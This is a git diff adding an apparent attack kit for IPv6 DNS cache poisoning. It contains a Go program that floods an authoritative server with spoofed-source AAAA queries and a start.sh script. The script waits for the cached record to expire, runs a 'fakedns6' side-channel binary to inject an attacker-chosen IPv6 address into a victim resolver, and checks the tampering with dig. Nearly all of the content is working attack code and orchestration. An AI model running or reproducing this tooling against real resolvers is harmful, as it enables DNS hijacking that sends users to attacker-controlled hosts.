+ // Send a single ARP request packet (we never retry a send, since this
+ // is just an example ;)
+ if err := Send(handle, &eth, &arp); err != nil {
+ return nil, err
+ }
+ // Wait 3 seconds for an ARP reply.
+ for {
+ if time.Since(start) > time.Second*3 {
+ return nil, errors.New("timeout getting ARP reply")
+ }
+ data, _, err := handle.ReadPacketData()
+ if err == pcap.NextErrorTimeoutExpired {
+ continue
+ } else if err != nil {
+ return nil, err
+ }
+ packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
+ if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil {
+ arp := arpLayer.(*layers.ARP)
+ if net.IP(arp.SourceProtAddress).Equal(gatewayIP) {
+ return arp.SourceHwAddress, nil
+ }
+ }
+ }
+}
+
+func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int {
+ temp0 := binary.LittleEndian.Uint32(ip0.To16())
+ temp1 := binary.LittleEndian.Uint32(ip1.To16())
+ if temp0 == temp1 {
+ return 0
+ }
+ if temp0 > temp1 {
+ return 1
+ }
+ return -1
+}
+
+func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) {
+
+ ipLayer := layers.IPv6{
+ FlowLabel: flowlabel,
+ SrcIP: srcIP,
+ DstIP: dstIP,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ }
+ udpLayer := layers.UDP{
+ SrcPort: srcPort,
+ DstPort: dstPort,
+ }
+
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err)
+ }
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer)
+ if err != nil {
+ fmt.Println("xmitUDPv6 can not send packet", err)
+ }
+
+ if timegap != 0 {
+ time.Sleep(time.Duration(timegap) * time.Microsecond)
+ }
+
+}
diff --git a/att script/6(v6篡改)/code/src/flood/go.mod b/att script/6(v6篡改)/code/src/flood/go.mod
new file mode 100644
index 0000000..b55b38b
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/flood/go.mod
@@ -0,0 +1,20 @@
+module flood
+
+go 1.21
+
+toolchain go1.21.4
+
+require (
+ github.com/google/gopacket v1.1.19
+ github.com/jackpal/gateway v1.0.13
+)
+
+require (
+ github.com/davecgh/go-spew v1.1.1 // indirect
+ github.com/pmezard/go-difflib v1.0.0 // indirect
+ github.com/stretchr/objx v0.5.0 // indirect
+ github.com/stretchr/testify v1.8.4 // indirect
+ golang.org/x/net v0.17.0 // indirect
+ golang.org/x/sys v0.13.0 // indirect
+ gopkg.in/yaml.v3 v3.0.1 // indirect
+)
diff --git a/att script/6(v6篡改)/code/src/flood/go.sum b/att script/6(v6篡改)/code/src/flood/go.sum
new file mode 100644
index 0000000..1cca74c
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/flood/go.sum
@@ -0,0 +1,38 @@
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
+github.com/jackpal/gateway v1.0.13 h1:fJccMvawxx0k7S1q7Fy/SXFE0R3hMXkMuw8y9SofWAk=
+github.com/jackpal/gateway v1.0.13/go.mod h1:6c8LjW+FVESFmwxaXySkt7fU98Yv806ADS3OY6Cvh2U=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c=
+github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
+github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
+golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
+golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/att script/6(v6篡改)/code/src/flood/ipv6util.go b/att script/6(v6篡改)/code/src/flood/ipv6util.go
new file mode 100644
index 0000000..09245d3
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/flood/ipv6util.go
@@ -0,0 +1,103 @@
+package main
+
+import (
+ "encoding/hex"
+ "fmt"
+ "net"
+ "os/exec"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+type router struct {
+ ifaces []net.Interface
+ addrs []net.IP
+ v6 routeSlice
+}
+type routeSlice []*rtInfo
+
+type rtInfo struct {
+ // Dst net.IPNet
+ Gateway, PrefSrc net.IP
+ OutputIface uint32
+ Priority uint32
+}
+
+func getv6Gateway() (net.IP, error) {
+ rtr := &router{}
+
+ tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6)
+ if err != nil {
+ return nil, err
+ }
+
+ msgs, err := syscall.ParseNetlinkMessage(tab)
+ if err != nil {
+ return nil, err
+ }
+
+ for _, m := range msgs {
+ switch m.Header.Type {
+ case syscall.NLMSG_DONE:
+ break
+ case syscall.RTM_NEWROUTE:
+ // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0]))
+ attrs, err := syscall.ParseNetlinkRouteAttr(&m)
+ if err != nil {
+ return nil, err
+ }
+ routeInfo := rtInfo{}
+ rtr.v6 = append(rtr.v6, &routeInfo)
+ for _, attr := range attrs {
+ switch attr.Attr.Type {
+ // case syscall.RTA_DST:
+ // routeInfo.Dst.IP = net.IP(attr.Value)
+ // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8)
+ case syscall.RTA_GATEWAY:
+ routeInfo.Gateway = net.IP(attr.Value)
+ case syscall.RTA_OIF:
+ routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PRIORITY:
+ routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0]))
+ case syscall.RTA_PREFSRC:
+ routeInfo.PrefSrc = net.IP(attr.Value)
+ }
+ }
+ }
+ }
+ ips := []net.IP{}
+ for _, rt := range rtr.v6 {
+ if rt.Gateway != nil {
+ ips = append(ips, rt.Gateway)
+ }
+ }
+ return ips[0], nil
+}
+
+func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) {
+ if debugOutput {
+ println("邻居发现--使用网卡接口为:" + ifacename)
+ }
+ out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output()
+ if err != nil {
+ println(err.Error())
+ } else {
+ outlines := strings.Split(string(out), "/n")
+ for _, line := range outlines {
+ linelist := strings.Split(line, " ")
+ // 与网关对应的MAC地址
+ if linelist[0] == gwIP.String() {
+
+ maclist := strings.Split(linelist[2], ":")
+ var macbyte []byte
+ for _, m := range maclist {
+ b, _ := hex.DecodeString(m)
+ macbyte = append(macbyte, b[0])
+ }
+ return net.HardwareAddr(macbyte), nil
+ }
+ }
+ }
+ return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址")
+}
diff --git a/att script/6(v6篡改)/code/src/flood/main.go b/att script/6(v6篡改)/code/src/flood/main.go
new file mode 100644
index 0000000..be0f1b4
--- /dev/null
+++ b/att script/6(v6篡改)/code/src/flood/main.go
@@ -0,0 +1,192 @@
+package main
+
+import (
+ "errors"
+ "flag"
+ "fmt"
+ "math/rand"
+ "net"
+ "os"
+ "strconv"
+
+ "github.com/google/gopacket"
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+)
+
+// 各层的定义
+var ethernetLayer *layers.Ethernet
+var debugOutput = false
+var handle *pcap.Handle
+var repeatTime = 100
+
+func main() {
+ // 读取参数配置
+ ifaceNameArg := flag.String("i", "vmnet1", "用于发送查询包的网络端口")
+ sourceaddrArg := flag.String("saddr", "", "伪造报文的源地址")
+ targetaddrArg := flag.String("taddr", "", "目标权威的地址")
+ qnameArg := flag.String("q", "www.baidu.com.", "请求查询的域名")
+ debugOutputArg := flag.Bool("d", false, "debug模式输出")
+ flag.Parse()
+
+ // 指针->值
+ ifaceName := *ifaceNameArg
+ sourceaddr := *sourceaddrArg
+ targetaddr := *targetaddrArg
+ qname := *qnameArg
+ debugOutput = *debugOutputArg
+ defer os.Exit(0)
+
+ handle, _ = pcap.OpenLive(
+ ifaceName,
+ 65536,
+ true,
+ pcap.BlockForever,
+ )
+
+ // 构造MAC层
+ var srcmac net.HardwareAddr
+ var dstmac net.HardwareAddr
+ if ifaceName == "" {
+ ifaceName = "eth0"
+ }
+
+ // 源MAC
+ loiface, err := net.InterfaceByName(ifaceName)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ srcmac = loiface.HardwareAddr
+ if debugOutput {
+ fmt.Println("源MAC地址为: " + srcmac.String())
+ }
+
+ // 目的MAC
+ // 获取网关地址
+ gwIP, _ := getv6Gateway()
+ fmt.Println("网关IPv6地址为:" + gwIP.String())
+ dstmac, err = GetGatewayIPv6Addr(loiface, gwIP)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ if debugOutput {
+ fmt.Println("目的MAC地址为: " + dstmac.String())
+ }
+
+ // mac层包
+ ethernetLayer = &layers.Ethernet{
+ SrcMAC: srcmac,
+ DstMAC: dstmac,
+ EthernetType: layers.EthernetTypeIPv6,
+ }
+
+ // dns查询
+ for i := 0; i < repeatTime; i++ {
+ go sendDNSRequest(uint16(rand.Uint32()), qname, net.ParseIP(sourceaddr), net.ParseIP(targetaddr))
+ }
+ if debugOutput {
+ fmt.Println("已连续发送" + strconv.Itoa(repeatTime) + "个请求包到" + targetaddr)
+ }
+}
+
+func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
+ opts := gopacket.SerializeOptions{
+ FixLengths: true,
+ ComputeChecksums: true,
+ }
+ buffer := gopacket.NewSerializeBuffer()
+ if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil {
+ return err
+ }
+ err := handle.WritePacketData(buffer.Bytes())
+ if err != nil {
+ println(err.Error())
+ }
+ return nil
+}
+
+func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To16() != nil {
+ srcIP = ipnet.IP.To16()
+ break
+ }
+ }
+ }
+
+ if srcIP == nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func GetGatewayIPv6Addr(iface *net.Interface, gatewayIP net.IP) (net.HardwareAddr, error) {
+ gwMAC, err := getGatewayV6Mac(iface.Name, gatewayIP)
+ if err != nil {
+ fmt.Println(err.Error())
+ panic("")
+ }
+ return gwMAC, nil
+}
+
+func sendDNSRequest(id uint16, name string, resolverIP net.IP, authIP net.IP) {
+ if debugOutput {
+ fmt.Println("Send new DNS request", name, id, resolverIP.String(), authIP.String())
+ }
+ _sendDNSRequest(id, name, resolverIP, authIP, (layers.UDPPort)(rand.Uint32()), 53)
+}
+
+func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) {
+ ipLayer := layers.IPv6{
+ FlowLabel: 1,
+ SrcIP: src,
+ DstIP: dst,
+ Version: 6,
+ HopLimit: 64,
+ NextHeader: layers.IPProtocolUDP,
+ //Flags: layers.IPv4DontFragment,
+ }
+ udpLayer := layers.UDP{
+ SrcPort: sport,
+ DstPort: dport,
+ }
+ dnsLayer := layers.DNS{
+ ID: id,
+ QR: false,
+ OpCode: 0,
+ AA: false,
+ TC: false,
+ RD: true,
+ RA: false,
+ Z: 0,
+ ResponseCode: 0,
+ QDCount: 1,
+ ANCount: 0,
+ NSCount: 0,
+ ARCount: 0,
+ Questions: []layers.DNSQuestion{{
+ Name: []byte(name),
+ Type: layers.DNSTypeAAAA,
+ Class: layers.DNSClassIN,
+ }},
+ Authorities: nil,
+ Additionals: nil,
+ }
+
+ err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
+ if err != nil {
+ fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err)
+ }
+ err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
+ if err != nil {
+ fmt.Println("can not send packet @ sendDNSRequest: ", err)
+ }
+}
diff --git a/att script/6(v6篡改)/code/start.sh b/att script/6(v6篡改)/code/start.sh
new file mode 100644
index 0000000..03b7812
--- /dev/null
+++ b/att script/6(v6篡改)/code/start.sh
@@ -0,0 +1,38 @@
+# 目前仅考虑篡改或注入AAAA记录
+# $1 for victim resolver IP, $2 想要篡改的IPv6地址结果, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
+# Please run with sudo.
+
+# Verify the existing record domain, just for proof purposes.
+echo '获取原记录中:'
+dig @$1 $4 AAAA
+sleeptime=0
+sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
+
+echo "等待缓存过期,$sleeptime 秒之后开始攻击..."
+sleep $sleeptime
+
+echo "开始攻击"
+echo "攻击参数:"
+echo "目标域名权威服务地址:$5"
+echo "目标解析服务地址:$1"
+echo "目标域名:$4"
+
+# 伪造目标服务IPv6地址向权威服务器发送大量查询 [权威][目标IP][目标域名][网络接口]
+bash ./dns_query.sh $5 $1 $4 $3
+
+# 开始攻击
+# Change the argument accordingly
+echo "执行侧信道攻击脚本中"
+./fakedns6 -a=$5 -b=$1 -i=$3 -n=$4 -r=$1 -t 50000 -ad=$2 -tg 0 -s 10000 -e 65000 -j 0 -d=true
+
+
+ # Validations
+echo "攻击结束"
+dig @$1 $4 AAAA
+
+sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
+echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
+
+echo '等待两秒...'
+sleep 2
+dig @$1 $4 AAAA
diff --git a/att script/6(v6篡改)/说明文档.docx b/att script/6(v6篡改)/说明文档.docx
new file mode 100644
index 0000000..c5b1afa
--- /dev/null
+++ b/att script/6(v6篡改)/说明文档.docx
Binary files differ